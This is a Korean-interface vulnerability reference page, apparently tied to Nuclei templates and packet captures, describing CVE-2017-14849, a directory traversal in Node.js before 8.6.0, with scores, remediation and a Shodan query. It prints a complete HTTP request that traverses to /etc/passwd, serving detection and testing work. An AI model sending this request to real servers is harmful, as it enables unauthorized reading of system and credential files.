🔙 목록으로 돌아가기

CVE-2017-14849: Node.js <8.6.0 - Directory Traversal

TitleNode.js <8.6.0 - Directory Traversal
AuthorRandom_Robbie
SeverityHigh
ImpactAn attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
RemediationUpgrade Node.js to version 8.6.0 or higher to mitigate the vulnerability.
CVSS Score7.5
EPSS Score0.90232
CVE IDCVE-2017-14849
CWE IDCWE-22
Shodan Querycpe:"cpe:2.3:a:nodejs:node.js"
Tags cve2017 cve nodejs lfi vuln

🔍 Vulnerability Description

Node.js before 8.6.0 allows remote attackers to access unintended files because a change to “..” handling is incompatible with the pathname validation used by unspecified community modules.

🌐 HTTP Request

GET /static/../../../a/../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.6 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-14849.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-14849.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A